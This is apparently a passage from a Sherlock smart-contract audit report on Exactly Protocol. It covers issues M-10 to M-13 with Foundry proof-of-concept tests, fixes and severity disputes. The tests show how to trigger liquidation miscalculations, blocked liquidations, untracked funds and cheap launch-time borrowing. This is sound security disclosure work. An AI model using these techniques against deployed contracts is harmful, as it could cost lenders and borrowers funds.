  market.borrowAtMaturity(maturity, (assetsAlice * 50 * 50) / 100 / 100,
  ↪  type(uint256).max, ALICE, ALICE);
  vm.stopPrank();

  // Maturity is over and some time has passed, accruing extra debt fees
  // until the account is liquidatable
  skip(maturity + 16 weeks);
```

```
    (uint256 coll, uint256 debt) = auditor.accountLiquidity(ALICE,
    ↪  Market(address(0)), 0);
    // assertEq(coll*100/debt, 98); // Health factor is 0.98
    console2.log('health factor: ', coll * 100 / debt);

    market.setEarningsAccumulatorSmoothFactor(1e18); // Simulate market interaction

    skip(12 hours); // 12 hours passed

    uint256 previousPrice = 1e18; // ~1.004e18

    assertEq(market.previewRedeem(1e18), previousPrice);

    if (FIX_ISSUE) market.setEarningsAccumulatorSmoothFactor(1e18);

    // Liquidator liquidates
    address liquidator = makeAddr("liquidator");
    deal(address(asset), liquidator, assets);
    vm.startPrank(liquidator);
    asset.approve(address(market), type(uint256).max);
    market.liquidate(ALICE, type(uint256).max, market);
    vm.stopPrank();

    // if (FIX_ISSUE) assertEq(previousPrice, market.previewRedeem(1e18));
    // else assertEq(market.previewRedeem(1e18), 1003198119342946548);
    console2.log('price: ', market.previewRedeem(1e18));
  }
```

Log is

```
health factor:  98
price:  1001476055081359945
```

This will be my last comment. Everything depends on head of judge's decesion.

0x73696d616f

@etherSky111 you're just demonstrating the high likelihood of this issue. This trader may exist, another trader that only waits 8 weeks and results in a slightly lower impact also exists, and another one that has even a bigger impact may exist. It has been proved that the impact is significant and there are not *(extensive) limitations*.

> And please, the high severity issue means that this is so critical that the sponsor team should fix this before deployment. You didn't even convince sponsor team, lead judge, and other watsons.

the sponsor is going to fix it, so according to your own logic, this should be high.

etherSky111

`only waits 8 weeks`? stop kidding. Please please stop trying to add weight to your report.

0x73696d616f

> only waits 8 weeks? stop kidding.

The fixed loans have a maximum duration of 12 weeks, may be more depending on configs. 8 weeks is not a long time to repay. Regardless, impact can always be found and is significant in many scenarios.

> Please please stop trying to add weight to your report.

You're the one making these bold claims without adding value to this discussion.

0x73696d616f

@cvetanovv could you make a new judgement based on the new comments?. It has been proven that all the original reasons to downgrade this issue are not applicable to the price change and arbitrage impact. They are only applicable to the impact of creation of bad debt, and even then, not much time has to pass.

etherSky111

Please don't try to confuse the head judge's decision with wrong arguments.

In order to get 0.1% price change, the liquidatee need to deposit at least 25% of total liquidity and should wait for 16 weeks without doing anything. And as you can observe, the arbitrage impact is really minimal.

Please let the judge to decide.

0x73696d616f

@etherSky111 what are you talking about?

> There are several conditions that reduce the severity: The position can be liquidated twice. For the vulnerability to be valid, no one must interact with accrue earning functions. The likelihood of this happening is very low. Bots will be used mainly for the liquidation, which will be able to perform the liquidation twice in the same block. This will decrease the severity of the problem from High to Medium/Low the most because the protocol will use

None of this is applicable to the price impact. Will not comment further, the comments above demonstrate this statement.

cvetanovv

I have read the discussion several times, and I stand by my original decision to reject the escalation and keep this issue Medium.

I agree that some conditions from my previous comment may not decrease the impact. But still, the vulnerability depends on the time that has passed without deposits or withdrawals, which is very important.

Also, the admin is rusted, and we will assume that he will increase the smooth factor to a higher value and thus further reduce the impact.

I stand by my initial decision to reject the escalation.

0x73696d616f

@cvetanovv I am not disputing your decision, just laying out the facts. I understand it's not easy going through so much information in short time and little incentive, that's why I am trying to help.

> But still, the vulnerability depends on the time that has passed without deposits or withdrawals, which is very important.

It was proved that 12 hours are enough to cause impact and there are many hours, even days between interactions, please check the protocol on optimism. The required time to pass to have significant impact is exactly what happens in reality, as can be checked on the block explorer. This is a perfectly likely event.

> Also, the admin is rusted, and we will assume that he will increase the smooth factor to a higher value and thus further reduce the impact.

This would happen after damage had already been caused. And if the admin decreased the factor, the damage would be higher. As the factor can go either way, either increase severity or decrease severity, it can not be used as a precondition. If I can not argue that if the factor is decreased, the impact is higher, neither can it be argued that if the factor is increased, the impact is lower. This would be a completely unfair treatment. What if the Trusted admin decides to deploy a market with a lower factor? he has no understanding of the exploit at this point.

None of these conditions are significant and real.

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/exactly/protocol/pull/727

0x73696d616f

@santichez what do you think of this issue?

santichez

@0x73696d616f I believe this should be considered medium too, sorry :(

Evert0x

Result: Medium Unique

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- 0x73696d616f: rejected

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-10: `TARGET_HEALTH` calculation does not consider the adjust factors of the picked seize and repay markets

Source: https://github.com/sherlock-audit/2024-04-interest-rate-model-judging/issues/117

The protocol has acknowledged this issue.

Found by

0x73696d616f

Summary

The `TARGET_HEALTH` calculation is correct, but returns the debt to pay considering that this debt corresponds to the average `adjustFactor`, which is false for more than 1 market, leading to significant deviation in the resulting health factor.

Vulnerability Detail

The calculation of the required debt to repay is explained in the MathPaper, and it can be understood that the resulting debt to repay is based on the average adjust factor of all markets.

However, when liquidating, repay and seize markets are picked, possibly having different adjust factors. Thus, depending on the picked repay and seized market, the resulting health factor will be significantly different than the `TARGET_HEALTH`. This will either lead to losses for the liquidator or the liquidatee, in case the resulting health factor is smaller or bigger, respectively.

If the resulting health factor is smaller, the liquidator would receive less assets and the protocol would be closer to accumulating bad debt (it may even be negative if the calculation is way off). Contrarily, if it is higher, the liquidator will have more assets removed than supposed, resulting in losses.

A test was carried out in `Market.t.sol` showing that depending on the market picked, the health factor is either approximately `1.37` or `1.15`, due to the adjust factor. The user

- Deposited `20_000e18` in a `DAI` market with an adjust factor of `0.8`.
- Borrowed `20_000e18*0.8^2` in the `DAI` market.
- Deposited `10_000e18` in a `WETH` market with an adjust factor of `0.9`.
- Borrowed `10_000e18*0.9^2` in a `WETH` market. The health factor is `(20_000*0.8 + 10000*0.9) / (20000*0.8^2/0.8 + 10000*0.9^2/0.9) = 1`. 1 second passes

to make the health factor smaller than 1. Now, depending on the picked repay and seize markets, the resulting health factor will be very different.

The average adjust factor is `(20_000*0.8 + 10000*0.9) * (20000*0.8^2 + 10000*0.9^2) / (20000*0.8^2/0.8 + 10000*0.9^2/0.9) / (20000 + 10000) = 0.6967`.

The close factor is `(1.25 - 1) / (1.25 - 0.6967*1.1) = 0.5169`.

The debt repayed using the close factor is `(20000*0.8^2 + 10000*0.9^2)*0.5169 = 10803`. The Collateral repayed is `10803 * 1.1 = 11883`.

The issue is that the debt and collateral are averaged on the adjust factor, but it is being repayed on a single market.

Repaying in the `DAI` market, the resulting health factor is `((20_000 - 11883)*0.8 + 10000*0.9) / ((20000*0.8^2 - 10803)/0.8 + 10000*0.9^2/0.9) = 1.3477`.

If the test is inverted, repaying in the `WETH` market will lead to a health factor of `1.15`.

```
function test_POC_WrongHealthFactor() external {
  // Change to false to test liquidating in the WETH market
  // in exactly the same conditions except the adjust factor
  bool marketDAI = true;

  uint256 assets = 10_000 ether;
  ERC20 asset = market.asset();
  uint256 marketAssets = marketDAI ? 2*assets : assets;
  uint256 wethAssets = marketDAI ? assets : 2*assets;

  vm.startPrank(ALICE);

  // ALICE deposits and borrows DAI
  deal(address(asset), ALICE, marketAssets);
  market.deposit(marketAssets, ALICE);
  market.borrow(marketAssets*8*8/10/10, ALICE, ALICE);

  // ALICE deposits and borrows weth
  deal(address(weth), ALICE, wethAssets);
  weth.approve(address(marketWETH), wethAssets);
  marketWETH.deposit(wethAssets, ALICE);
  marketWETH.borrow(wethAssets*9*9/10/10, ALICE, ALICE);

  vm.stopPrank();

  skip(1);

  // LIQUIDATION of DAI MARKET, 0.8 adjust factor
  if (marketDAI) {
    deal(address(asset), address(market), 100_000 ether);
    address liquidator = makeAddr("liquidator");
    deal(address(asset), liquidator, 100_000_000 ether);
    vm.startPrank(liquidator);
    asset.approve(address(market), type(uint256).max);
    market.liquidate(ALICE, type(uint256).max, market);
    vm.stopPrank();
  }

  // LIQUIDATION of WETH MARKET, 0.9 adjust factor
  if (!marketDAI) {
    deal(address(weth), address(marketWETH), 100_000 ether);
    address liquidator = makeAddr("liquidator");
    deal(address(weth), liquidator, 100_000_000 ether);
    vm.startPrank(liquidator);
    weth.approve(address(marketWETH), type(uint256).max);
    marketWETH.liquidate(ALICE, type(uint256).max, marketWETH);
    vm.stopPrank();
  }

  // RATIO is smaller than 1.25, liquidator did not liquidate as much as if it
↪   was in
  // a single market
  (uint256 collateral, uint256 debt) = auditor.accountLiquidity(address(ALICE),
↪   Market(address(0)), 0);
  assertEq(collateral*1e18 / debt, marketDAI ? 1347680781176165186 :
↪   1146310462433177450);
}
```

Impact

Losses for the liquidator or the liquidatee and possible accumulation of bad debt, depending on the picked market.

Code Snippet

https://github.com/exactly/papers/blob/main/ExactlyMathPaperV1.pdf
https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Auditor.sol#L238-L243

Tool used

Manual Review

Vscode

SHERLOCK

Foundry

Recommendation

The debt to repay should take into account the adjust factors of the seize and repay markets. In `auditor::checkLiquidation()`, the `maxRepayAssets`, 'base.totalDebt.mulWadUp(Math.min(1e18, closeFactor)), must consider the adjust factors of the chosen seize and repay markets.

Discussion

Dliteofficial

@0x73696d616f I don't see why the protocol should consider the TH of the repay market if they already considered the TH of both the loan and collateral market. The repay market has no standing on the loan to be liquidated, it is just a market from which to pay from. The collateral is where the cover is from, the loan market is where the cover withdrawn is to be used.

@santipu03 I think this is Invalid

0x73696d616f

> resulting debt to repay is based on the average adjust factor of all markets.

The math calculations arrive at an average adjust factor debt to repay and collateral to seize. When you pick a repay and a seize market, they will have different adjust factors than the average, and this must be accounted for.

Dliteofficial

Yes, I can see that, and I read the report fine. But by all markets, I believe that refers to the seize and repay market. I am not trying to antagonize your finding, I just don't think there is a reason to include the repay market in the calculation of the defaulter's TH since it has no effect on the collateral or the debt. The only exception to this would be when the defaulter's debt/collateral market is the same as the repay market

0x73696d616f

> I just don't think there is a reason to include the repay market in the calculation of the defaulter's TH since it has no effect on the collateral or the debt

Why do you say this?

> The only exception to this would be when the defaulter's debt/collateral market is the same as the repay market

And this?

Dliteofficial

Because looking at this on the basis of cause and effect, if the liquidator is repaying from a market different from that of the user's collateral and debt market, it has no effect in the repay market since the borrower doesn't have a borrow there or deposited collateral into the market. As for the exception, I was referring to if the user deposited in the repay market then the market should be considered

0x73696d616f

> Because looking at this on the basis of cause and effect, if the liquidator is repaying from a market different from that of the user's collateral and debt market

This is not possible. The liquidator has to pick a debt and collateral market that the user is participating on. This is the whole point of the liquidation flow.

Issue M-11: `Market::liquidate()` will not work when most of the liquidity is borrowed due to wrong liquidator `transferFrom()` order

Source: https://github.com/sherlock-audit/2024-04-interest-rate-model-judging/issues/118

Found by

0x73696d616f

Summary

`transferFrom()` to receive the assets of the liquidator to pay the debt in `Market::liquidate()` is done only after performing the liquidation, making it impossible to liquidate users when `seizeMarket == repayMarket`.

Vulnerability Detail

The `transferFrom()` is called at the end of the `Market::liquidate()` function, only receiving the assets after all the calculations.

However, when the seize market is the same as the repay market, the collateral to give to the liquidator will not be available if most of the liquidity is borrowed. Thus, it would require pulling the funds from the liquidator first and only then transferring them.

The following test confirms this behaviour, add it to `Market.t.sol`:

```
function test_POC_NotEnoughAssetsDueToLiquidator_TransferFromAfter() external {
  auditor.setAdjustFactor(market, 0.9e18);

  vm.startPrank(ALICE);

  // ALICE deposits and borrows DAI
  uint256 assets = 10_000 ether;
  ERC20 asset = market.asset();
  deal(address(asset), ALICE, assets);
  market.deposit(assets, ALICE);
  market.borrow(assets*9*9/10/10, ALICE, ALICE);

  vm.stopPrank();

  skip(10 days);
```

```
    // LIQUIDATION fails as transfer from is after withdrawing collateral
    address liquidator = makeAddr("liquidator");
    vm.startPrank(liquidator);
    asset.approve(address(market), type(uint256).max);
    vm.expectRevert();
    market.liquidate(ALICE, type(uint256).max, market);
    vm.stopPrank();
}
```

Impact

Impossible to liquidate when the repay market is the seize market and most of the liquidity is borrowed. A liquidator could deposit first into the market as a workaround fix but it would require close to double the funds (deposit so the contract has the funds and holding the funds to transfer to the market at the end of the call) to perform the liquidation, which could turn out to be expensive and would disincentivize liquidations, leading to accumulation of bad debt.

Code Snippet

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L613 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L693

Tool used

Manual Review

Vscode

Foundry

Recommendation

The assets could be transferred from the liquidator to the market at the beginning of the liquidation. Alternatively, as the current code first transfers to the liquidator only to receive it back later, one option would be transferring only the different between the seize funds and the repaid debt (`liquidationIncentive.liquidator`) when `seizeMarket == repayMarket`.

Discussion

santichez

Valid and makes sense

The reorder of the following lines fixes your test: Do you think this might lead to other unexpected consequences? Note that `asset` is the immutable state variable of the `Market` in which the `liquidate` function is being called (its value is none other than the most used ones such as WBTC, DAI, OP...) so no reentrancy looks possible.

0x73696d616f

@santichez thank you for your review. I think the sponsor needs to be careful about reentrancy, other than that there should be no problem.

santichez

@santipu03 escalate this one please, it's not a duplicate of #70 .

santipu03

@santichez The root cause of this issue is the same as the root cause of issue #70, which is that liquidations won't work when the market has high utilization. This issue describes a specific scenario that lies within that same root cause, and therefore it's grouped as a duplicate of #70.

Also, the escalation period is over.

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/exactly/protocol/pull/723

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-12: When bad debts are cleared, there will be some untracked funds

Source: https://github.com/sherlock-audit/2024-04-interest-rate-model-judging/issues/130

Found by

Trumpero, ether_sky

Summary

In the `market`, all `funds` should be tracked accurately, whether they are currently held, `borrowed` by `borrowers`, or repaid in the future. To ensure this, the `market` has a sophisticated tracking system that functions effectively. However, when bad debts are cleared, there will be some untracked funds in the market.

Vulnerability Detail

Users have the option to deposit into the `market` directly or into specific `fixed rate pools`. When `borrowers` `borrow` funds from the `fixed rate pool`, they are backed by the `fixed deposits` first. If there is a shortfall in funds, the remaining `debt` is supported by `floating assets`. The movement of funds between `fixed borrowers` and `fixed depositors` is straightforward outside of the `tracking system`. The `tracking system` within the `market` primarily monitors funds within the `variable pool` itself. To simplify the scenario, let's assume there are no `fixed depositors` involved.

First, there are `extraordinary earnings`, including `variable backup fees`, `late fixed repayment penalties`, etc. The `earnings accumulator` is responsible for collecting these earnings from `extraordinary` sources and subsequently distributing them gradually and smoothly. For this purpose, there is a `earningsAccumulator` variable.

```
function depositAtMaturity(
  uint256 maturity,
  uint256 assets,
  uint256 minAssetsRequired,
  address receiver
) external whenNotPaused whenNotFrozen returns (uint256 positionAssets) {
    earningsAccumulator += backupFee;
}
```

When users deposit funds into the `variable pool`, the `floatingAssets` increase by the deposited amounts as well as any additional earnings from the `earnings accumulator`.

```
function afterDeposit(uint256 assets, uint256) internal override whenNotPaused
 ↪  whenNotFrozen {
  updateFloatingAssetsAverage();
  uint256 treasuryFee = updateFloatingDebt();
  uint256 earnings = accrueAccumulatedEarnings();  // @audit, here
  floatingAssets += earnings + assets;  // @audit, here
  depositToTreasury(treasuryFee);
  emitMarketUpdate();
}
```

Funds borrowed by `variable rate borrowers` are tracked using the `floatingDebt` variable, while funds borrowed by `fixed rate borrowers` are tracked using the `floatingBackupBorrowed` variable. Additionally, there is an `unassignedEarnings` variable for each `maturity pool`, which represents upcoming `fees` from `borrowers`. These earnings are added to the `floatingAssets` whenever there are changes in the `market`, such as `borrowers` repaying their `debt` , depositors withdrawing their funds etc.

```
function depositAtMaturity(
  uint256 maturity,
  uint256 assets,
  uint256 minAssetsRequired,
  address receiver
) external whenNotPaused whenNotFrozen returns (uint256 positionAssets) {
  uint256 backupEarnings = pool.accrueEarnings(maturity); // @audit, here
  floatingAssets += backupEarnings;
}
```

While this variable is important, it is not directly involved in the `tracking system`.

Let's describe the vulnerability. A user deposits `5 DAI` into the `DAI market`. When clearing the `bad debt`, the amount is deducted from the `earnings accumulator`.

```
function clearBadDebt(address borrower) external {
  if (totalBadDebt != 0) {
    earningsAccumulator -= totalBadDebt;  // @audit, here
    emit SpreadBadDebt(borrower, totalBadDebt);
  }
}
```

For testing purpose, `ALICE` borrows funds at a `fixed rate` and repays them after maturity, and the `penalty fee` from this is added to the `earnings accumulator`.

```
function noTransferRepayAtMaturity(
  uint256 maturity,
  uint256 positionAssets,
  uint256 maxAssets,
  address borrower,
  bool canDiscount
) internal returns (uint256 actualRepayAssets) {
  if (block.timestamp < maturity) {
    if (canDiscount) {
      ...
    } else {
      actualRepayAssets = debtCovered;
    }
  } else {
    actualRepayAssets = debtCovered + debtCovered.mulWadDown((block.timestamp -
↪   maturity) * penaltyRate);

    // all penalties go to the earnings accumulator
    earningsAccumulator += actualRepayAssets - debtCovered;  // @audit, here
  }
}
```

Consequently, the `DAI market` has enough `earningsAccumulator` for clearing upcoming `bad debt` in the test. (see below log)

```
earningsAccumulator before clear bad debt        ==>    112859178081957033645
```

Now this user `borrows 1 DAI` from the `DAI market` at a specific `maturity`. At this point, there is no `bad debt` in the `market` and the current `tracking values` are as follows:

```
floatingAssets before clear bad debt             ==>    5005767123287671232800
floatingDebt before clear bad debt               ==>    0
floatingBackupBorrowed before clear bad debt     ==>    1000000000000000000
earningsAccumulator before clear bad debt        ==>    112859178081957033645
owed weth balance before clear bad debt          ==>    1000000000000000000
↪   7671232876712328
calculated dai balance before clear bad debt     ==>    5117626301369628266445
dai balance before clear bad debt                ==>    5117626301369628266445
```

The current `DAI balance` is equal to `floatingAssets - floatingDebt - floatingBackupBorrowed + earningsAccumulator`. Everything is correct.

Now, consider `1 DAI` equals to `5000 WETH`. Given sufficient `collateral`, this user can borrow `5000 WEHT` from the `WETH market`. If the price of `DAI` drops to `1000 WETH`, this user can be `liquidated`.

When `borrowers borrow fixed rate funds`, the `principal` is backed by `floating assets`(assuming no `fixed rate depositors`), and the `fee` is added to the `unassignedEarnings` of that `maturity pool`.

```
function borrowAtMaturity(
  uint256 maturity,
  uint256 assets,
  uint256 maxAssets,
  address receiver,
  address borrower
) external whenNotPaused whenNotFrozen returns (uint256 assetsOwed) {
  {
    uint256 backupDebtAddition = pool.borrow(assets);  // @audit, here
    if (backupDebtAddition != 0) {
      uint256 newFloatingBackupBorrowed = floatingBackupBorrowed +
↪   backupDebtAddition;
      depositToTreasury(updateFloatingDebt());
      if (newFloatingBackupBorrowed + floatingDebt >
↪   floatingAssets.mulWadDown(1e18 - reserveFactor)) {
        revert InsufficientProtocolLiquidity();
      }
      floatingBackupBorrowed = newFloatingBackupBorrowed; // @audit, here
    }
  }

  {
    // if account doesn't have a current position, add it to the list
    FixedLib.Position storage position =
↪   fixedBorrowPositions[maturity][borrower];
    if (position.principal == 0) {
      Account storage account = accounts[borrower];
      account.fixedBorrows = account.fixedBorrows.setMaturity(maturity);
    }

    // calculate what portion of the fees are to be accrued and what portion
↪   goes to earnings accumulator
    (uint256 newUnassignedEarnings, uint256 newBackupEarnings) =
↪   pool.distributeEarnings(
      chargeTreasuryFee(fee),
      assets
    );
    if (newUnassignedEarnings != 0) pool.unassignedEarnings +=
↪   newUnassignedEarnings;  // @audit, here
    collectFreeLunch(newBackupEarnings);
    fixedBorrowPositions[maturity][borrower] =
↪   FixedLib.Position(position.principal + assets, position.fee + fee);
  }
}
```

These unassignedEarnings are later added to the floatingAssets whenever changes occur in the pool. However, when clearing bad debt, the sum of principal and fee is deducted from the earningsAccumulator if it's enough to cover the bad debt. The floatingBackupBorrowed is reduced as principal (means that these funds returns to the variable pool), but there is no provision for the fee.

```
function clearBadDebt(address borrower) external {
  while (packedMaturities != 0) {
    if (packedMaturities & 1 != 0) {
      FixedLib.Position storage position =
↪   fixedBorrowPositions[maturity][borrower];
      uint256 badDebt = position.principal + position.fee; // @audit, here
      ...
      floatingBackupBorrowed -= fixedPools[maturity].repay(position.principal);
↪   // @audit, here
    }
    packedMaturities >>= 1;
    maturity += FixedLib.INTERVAL;
  }
  if (totalBadDebt != 0) {
    earningsAccumulator -= totalBadDebt; // @audit, here
    emit SpreadBadDebt(borrower, totalBadDebt);
  }
  emitMarketUpdate();
}
```

In reality, the fee is reflected in the unassignedEarnings of that maturity pool, requiring an appropriate mechanism to update these unassignedEarnings. If this user is the last user of this maturity pool, there is no way to convert these unassignedEarnings to the tracking system. Consequently, funds equal to the unassignedEarnings remain untracked and unused. Or if this user is not the last user of this maturity pool, these untracked unassignedEarnings can be allocated to late fixed depositors. Below are tracking states in the DAI market after liquidation:

```
floatingAssets after clear bad debt              ==>   5057139572755893855767
floatingDebt after clear bad debt                ==>   0
floatingBackupBorrowed after clear bad debt      ==>   0
earningsAccumulator after clear bad debt         ==>   55421917808101804495
owed weth balance after clear bad debt           ==>   0 0
calculated dai balance after clear bad debt      ==>   5112561490563995660262
```

```
dai balance after clear bad debt                ==>   5112569161796872372590
***************
difference           ==>   7671232876712328
cleared fee          ==>   7671232876712328
unassignedEarnings   ==>   7671232876712328
```

The difference between the actual `DAI balance` and `tracked balance` is equal to the `unassignedEarnings`.

Please add below test to the `Market.t.sol`.

```
function testClearBadDebtBeforeMaturity() external {
  market.deposit(5 ether, address(this));
  market.deposit(5_000 ether, ALICE);
  marketWETH.deposit(100_000 ether, ALICE);

  uint256 maxVal = type(uint256).max;
  vm.prank(ALICE);
  market.borrowAtMaturity(4 weeks, 1_00 ether, maxVal, ALICE, ALICE);

  vm.warp(12 weeks);
  market.repayAtMaturity(4 weeks, maxVal, maxVal, ALICE);

  uint256 maturity_16 = 16 weeks;
  market.borrowAtMaturity(maturity_16, 1 ether, maxVal, address(this),
↪   address(this));
  (uint256 principal_before, uint256 fee_before) =
↪   market.fixedBorrowPositions(maturity_16, address(this));
  uint256 calculatedBalanceBefore = market.floatingAssets() -
↪   market.floatingDebt() - market.floatingBackupBorrowed() +
↪   market.earningsAccumulator();

  console2.log("floatingAssets before clear bad debt             ==>  ",
↪   market.floatingAssets());
  console2.log("floatingDebt before clear bad debt               ==>  ",
↪   market.floatingDebt());
  console2.log("floatingBackupBorrowed before clear bad debt     ==>  ",
↪   market.floatingBackupBorrowed());
  console2.log("earningsAccumulator before clear bad debt        ==>  ",
↪   market.earningsAccumulator());
  console2.log("owed weth balance before clear bad debt          ==>  ",
↪   principal_before, fee_before);
  console2.log("calculated dai balance before clear bad debt     ==>  ",
↪   calculatedBalanceBefore);
  console2.log("dai balance before clear bad debt                ==>  ",
↪   asset.balanceOf(address(market)));
```

```
  daiPriceFeed.setPrice(5_000e18);
  uint256 borrowAmount = 5000 ether;
  marketWETH.borrowAtMaturity(maturity_16, borrowAmount, borrowAmount * 2,
↪  address(this), address(this));

  daiPriceFeed.setPrice(1_000e18);
  weth.mint(ALICE, 1_000_000 ether);
  vm.prank(ALICE);
  weth.approve(address(marketWETH), maxVal);

  vm.prank(ALICE);
  marketWETH.liquidate(address(this), maxVal, market);

  (uint256 principal_after, uint256 fee_after) =
↪  market.fixedBorrowPositions(maturity_16, address(this));
  uint256 calculatedBalanceafter = market.floatingAssets() -
↪  market.floatingDebt() - market.floatingBackupBorrowed() +
↪  market.earningsAccumulator();

  console2.log("***************");
  console2.log("floatingAssets after clear bad debt              ==>  ",
↪  market.floatingAssets());
  console2.log("floatingDebt after clear bad debt                ==>  ",
↪  market.floatingDebt());
  console2.log("floatingBackupBorrowed after clear bad debt      ==>  ",
↪  market.floatingBackupBorrowed());
  console2.log("earningsAccumulator after clear bad debt         ==>  ",
↪  market.earningsAccumulator());
  console2.log("owed weth balance after clear bad debt           ==>  ",
↪  principal_after, fee_after);
  console2.log("calculated dai balance after clear bad debt      ==>  ",
↪  calculatedBalanceafter);
  console2.log("dai balance after clear bad debt                 ==>  ",
↪  asset.balanceOf(address(market)));


  (, , uint256 unassignedEarnings_after, ) = market.fixedPools(maturity_16);
  console2.log("***************");
  console2.log("difference           ==>  ", asset.balanceOf(address(market)) -
↪  calculatedBalanceafter);
  console2.log("cleared fee          ==>  ", fee_before);
  console2.log("unassignedEarnings   ==>  ", unassignedEarnings_after);
}
```

Impact

This vulnerability can happen under normal situation and there should be no untracked funds in the `market`. Nobody will detect these untracked funds and they won't be used.

Code Snippet

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/8f6ef1b0868d3ea3a98a5ab7e8b3a164857681d7/protocol/contracts/Market.sol#L253
https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/8f6ef1b0868d3ea3a98a5ab7e8b3a164857681d7/protocol/contracts/Market.sol#L714
https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/8f6ef1b0868d3ea3a98a5ab7e8b3a164857681d7/protocol/contracts/Market.sol#L244-L245
https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/8f6ef1b0868d3ea3a98a5ab7e8b3a164857681d7/protocol/contracts/Market.sol#L652-L655
https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/8f6ef1b0868d3ea3a98a5ab7e8b3a164857681d7/protocol/contracts/Market.sol#L514
https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/8f6ef1b0868d3ea3a98a5ab7e8b3a164857681d7/protocol/contracts/Market.sol#L299-L306

Tool used

Manual Review

Recommendation

```
function clearBadDebt(address borrower) external {
  if (msg.sender != address(auditor)) revert NotAuditor();

  floatingAssets += accrueAccumulatedEarnings();
  Account storage account = accounts[borrower];
  uint256 accumulator = earningsAccumulator;
  uint256 totalBadDebt = 0;
  uint256 packedMaturities = account.fixedBorrows;
  uint256 maturity = packedMaturities & ((1 << 32) - 1);
  packedMaturities = packedMaturities >> 32;
  while (packedMaturities != 0) {
    if (packedMaturities & 1 != 0) {
      FixedLib.Position storage position =
↪   fixedBorrowPositions[maturity][borrower];
      uint256 badDebt = position.principal + position.fee;
      if (accumulator >= badDebt) {
        RewardsController memRewardsController = rewardsController;
        if (address(memRewardsController) != address(0))
↪   memRewardsController.handleBorrow(borrower);
        accumulator -= badDebt;
        totalBadDebt += badDebt;
        floatingBackupBorrowed -= fixedPools[maturity].repay(position.principal);
        delete fixedBorrowPositions[maturity][borrower];
        account.fixedBorrows = account.fixedBorrows.clearMaturity(maturity);

        emit RepayAtMaturity(maturity, msg.sender, borrower, badDebt, badDebt);

+         if (fixedPools[maturity].borrowed == position.principal) {
+           earningsAccumulator += fixedPools[maturity].unassignedEarnings;
+           fixedPools[maturity].unassignedEarnings = 0;
+         }
      }
    }
    packedMaturities >>= 1;
    maturity += FixedLib.INTERVAL;
  }
  if (account.floatingBorrowShares != 0 && (accumulator =
↪   previewRepay(accumulator)) != 0) {
    (uint256 badDebt, ) = noTransferRefund(accumulator, borrower);
    totalBadDebt += badDebt;
  }
  if (totalBadDebt != 0) {
    earningsAccumulator -= totalBadDebt;
    emit SpreadBadDebt(borrower, totalBadDebt);
  }
  emitMarketUpdate();
}
```

Or we need more sophisticated solution.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/exactly/protocol/pull/724

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-13: Utilization rates are 0 when average assets are 0, which may be used to game maturity borrows / deposits / withdrawals

Source: https://github.com/sherlock-audit/2024-04-interest-rate-model-judging/issues/150

The protocol has acknowledged this issue.

Found by

0x73696d616f

Summary

At protocol launch, when `previewFloatingAssetsAverage()` is `0`, a borrow may be taken with the lowest interest rate possibel due to the utilization being `0` when the average assets are 0.

Vulnerability Detail

In `Market::initialize()`, `lastAverageUpdate` is set to `block.timestamp`. When calculating the average assets, the formula used is:

```
function previewFloatingAssetsAverage() public view returns (uint256) {
  uint256 memFloatingAssets = floatingAssets;
  uint256 memFloatingAssetsAverage = floatingAssetsAverage;
  uint256 dampSpeedFactor = memFloatingAssets < memFloatingAssetsAverage ?
↪   dampSpeedDown : dampSpeedUp;
  uint256 averageFactor = uint256(1e18 - (-int256(dampSpeedFactor *
↪   (block.timestamp - lastAverageUpdate))).expWad());
  return memFloatingAssetsAverage.mulWadDown(1e18 - averageFactor) +
↪   averageFactor.mulWadDown(memFloatingAssets);
}
```

As can be seen, if `block.timestamp == lastAverageUpdate`, `averageFactor` will be `1 - e^0 = 0`, resulting in average assets equal to `memFloatingAssetsAverage`, which is `0` when no deposits were made. Thus, even if a user deposits and borrows, its deposit will still lead to `previewFloatingAssetsAverage() == 0`, allowing him to get a borrow, even if almost as big as its deposit (minus the adjust factor), using the lowest interest rate possible.

The following test confirms this behaviour, add it to `Market.t.sol`:

```
function test_POC_BorrowAtMaturity_LowestRate() external {
  uint256 assets = 10_000 ether;
  ERC20 asset = market.asset();
  deal(address(asset), ALICE, assets + 1);
  uint256 maturity = FixedLib.INTERVAL * 2;

  //skip(1 days); // Uncomment to confirm that if some time passes assetsOwed
↪   will increase

  vm.startPrank(ALICE);
  market.deposit(assets, ALICE);
  uint256 assetsOwed = market.borrowAtMaturity(maturity, assets / 2,
↪   type(uint256).max, ALICE, ALICE);
  assertEq(assetsOwed, 5076712328767123285000);
}
```

Impact

User borrows and places the protocol at a significant risk with a very small interest rate.

Code Snippet

https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L121 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L878 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L1006 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L1012 https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L1018

Tool used

Manual Review

Vscode

Foundry

Recommendation

When assets are `0`, the interest rate should be the maximum. Additionally, when initializing, it's better to set the factor to some time in the past so the first depositor increases the utilization ratio accordingly.

Discussion

santipu03

I believe this issue may be invalid due to describing the intended design of the protocol. If I'm not mistaken, when the utilization is 0 (assets are 0), the interest rates should also be at the lowest point.

Waiting for the sponsor tags to confirm it. C.C. @itofarina @cruzdanilo

0x73696d616f

Escalate

